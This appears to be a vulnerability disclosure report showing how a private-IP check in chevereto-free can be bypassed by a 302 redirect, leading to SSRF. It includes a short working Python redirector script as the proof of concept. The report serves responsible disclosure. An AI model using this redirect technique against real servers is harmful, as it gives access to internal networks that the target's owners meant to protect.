Description

There was some hardening done previously against private IP addresses in the SSRF vulnerability I disclosed in the previous report https://github.com/rodber/chevereto-free/. However the checks can be bypassed by URL redirection.

Proof of Concept

If http://example.com resolves to a Public IP address, it will pass the isValidUrl check, if this same http://example.com redirects to a private IP address, by serving a 302 Response, when passed to curl_exec, it will cause curl_exec to query the private address instead because in https://github.com/rodber/chevereto-free/blob/e120fec868272399f675377d5713f1f06cebc996/lib/G/functions.php#L1651 CURLOPT_SETLOCATION is set to 1, which tells curl to follow redirects.

A redirector for testing can be set up like this

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

python redirector.py [port] [redirect_url]

Impact

This vulnerability is capable of SSRF (server makes requests to the internal network)